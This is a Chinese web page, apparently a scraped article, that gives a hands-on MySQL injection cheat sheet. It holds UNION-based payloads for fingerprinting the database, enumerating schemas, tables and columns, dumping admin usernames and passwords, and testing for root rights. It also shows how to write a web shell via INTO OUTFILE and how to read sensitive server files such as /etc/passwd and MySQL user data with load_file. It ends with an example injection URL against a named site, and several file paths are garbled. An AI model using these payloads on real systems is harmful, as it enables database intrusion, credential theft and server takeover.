视频1 视频21 视频41 视频61 视频文章1 视频文章21 视频文章41 视频文章61 推荐1 推荐3 推荐5 推荐7 推荐9 推荐11 推荐13 推荐15 推荐17 推荐19 推荐21 推荐23 推荐25 推荐27 推荐29 推荐31 推荐33 推荐35 推荐37 推荐39 推荐41 推荐43 推荐45 推荐47 推荐49 关键词1 关键词101 关键词201 关键词301 关键词401 关键词501 关键词601 关键词701 关键词801 关键词901 关键词1001 关键词1101 关键词1201 关键词1301 关键词1401 关键词1501 关键词1601 关键词1701 关键词1801 关键词1901 视频扩展1 视频扩展6 视频扩展11 视频扩展16 文章1 文章201 文章401 文章601 文章801 文章1001 资讯1 资讯501 资讯1001 资讯1501 标签1 标签501 标签1001 关键词1 关键词501 关键词1001 关键词1501 专题2001
MYSQL注入语句_MySQL
2020-11-09 19:56:21 责编:小采
文档


and ord(mid(version(),1,1))>51

解释1: 确认数据库版本 51是ASCII码3 正确则>4.0 错误则<4.0,当版本大于3.0时才能使用union方法;

解释2:ord()是mysql的函数用于获取二进制码;

解释3:mid()是mysql的函数用于截位操作;

解释4:version()是mysql的函数用于获取当前数据库的版本;

union select 1,1,1,****1,1

解释:联合功能,用于试探当前sql查询结果返回的字段数;

order by 13

解释:排序功能,根据查询结果中的第几个字段数做排序,试探当前sql查询返回的字段数

union select 1,2,3,4,****11,12,13 from admin

解释:返回正确则admin表名存在

union select 1,version(),3,*** 13 from admin

解释:暴数据库版本

union select 1,username,3,*** 13 from admin

解释:暴账号/密码

union select 1,username,3,*** 13 from admin where id=2

解释:暴admin表 第2个用户 主键为ID

and ord(mid(user(),1,1))=144

解释:判断ROOT权限 返回正确存在

and 1=1 union select 1,2,3,4,5…….n

解释:匹配字段

and 1=2 union select 1,2,3,4,5…..n

解释:暴字段位置

version() database() user()

解释:利用内置函数暴数据库信息

不用猜解可用字段暴数据库信息(有些网站不适用):

and 1=2 union all select version()

and 1=2 union all select database()

and 1=2 union all select user()

and 1=2 union all select @@global.version_compile_os from mysql.user

解释:获取操作系统信息:

and ord(mid(user(),1,1))=114

解释:获取数据库权限,若返回正常说明为root权限

and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

解释:暴库 (mysql>5.0)Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息

and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)

解释:猜表

and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1

解释:猜字段

and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1

解释:暴密码

Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1

解释:高级用法(一个可用字段显示两个数据内容)

直接写马(Root权限)

条件1:知道站点物理路径

条件2:有足够大的权限(可以用select …. from mysql.user测试)

条件3:magic_quotes_gpc()=OFF select ‘' into outfile ‘物理路径' and 1=2 union all select 一句话HEX值 into outfile '路径'

load_file() 常用路径:

replace(load_file(0×2F6574632F7061737377),0×3c,0×20)

replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

解释:上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.

load_file(char(47))

解释:可以列出FreeBSD,Sunos系统根目录

/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf

解释:查看linux APACHE虚拟主机配置文件

c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf

解释:查看WINDOWS系统apache文件

c:/Resin-3.0.14/conf/resin.conf

解释:查看jsp开发的网站 resin文件配置信息

c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf

解释:查看linux系统配置的JSP虚拟主机

d:\APACHE\Apache2\conf\httpd.conf

C:\Program Files\mysql\my.ini

../themes/darkblue_orange/layout.inc.php phpmyadmin

解释:爆路径

c:\windows\system32\inetsrv\MetaBase.xml

解释:查看IIS的虚拟主机配置文件

/usr/local/resin-3.0.22/conf/resin.conf

解释:针对3.0.22的RESIN配置文件查看

/usr/local/resin-pro-3.0.22/conf/resin.conf 同上

/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看

/etc/sysconfig/iptables

解释:本看防火墙策略

usr/local/app/php5 b/php.ini

解释:PHP 的相当设置

/etc/my.cnf

解释:MYSQL的配置文件

/etc/redhat-release

解释:红帽子的系统版本

C:\mysql\data\mysql\user.MYD

解释:存在MYSQL系统中的用户密码

/etc/sysconfig/network-scripts/ifcfg-eth0

解释:查看IP

/usr/local/app/php5 b/php.ini

解释:PHP相关设置

/usr/local/app/apache2/conf/extra tpd-vhosts.conf

解释:虚拟网站设置

C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini

c:\windows\my.ini

c:\boot.ini

网站常用配置文件 config.inc.php、config.php。load_file()时要用replace(load_file(HEX),char(60),char(32))

注:Char(60)表示 <,Char(32)表示 空格

手工注射时出现的问题:

当注射后页面显示:Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

如:http://www.www.myhack58.com/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20,这是由于前后编码不一致造成的,解决方法:在参数前加上 unhex(hex(参数))就可以了。上面的URL就可以改为:http://www.www.myhack58.com/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20,既可以继续注射了。

下载本文
显示全文
专题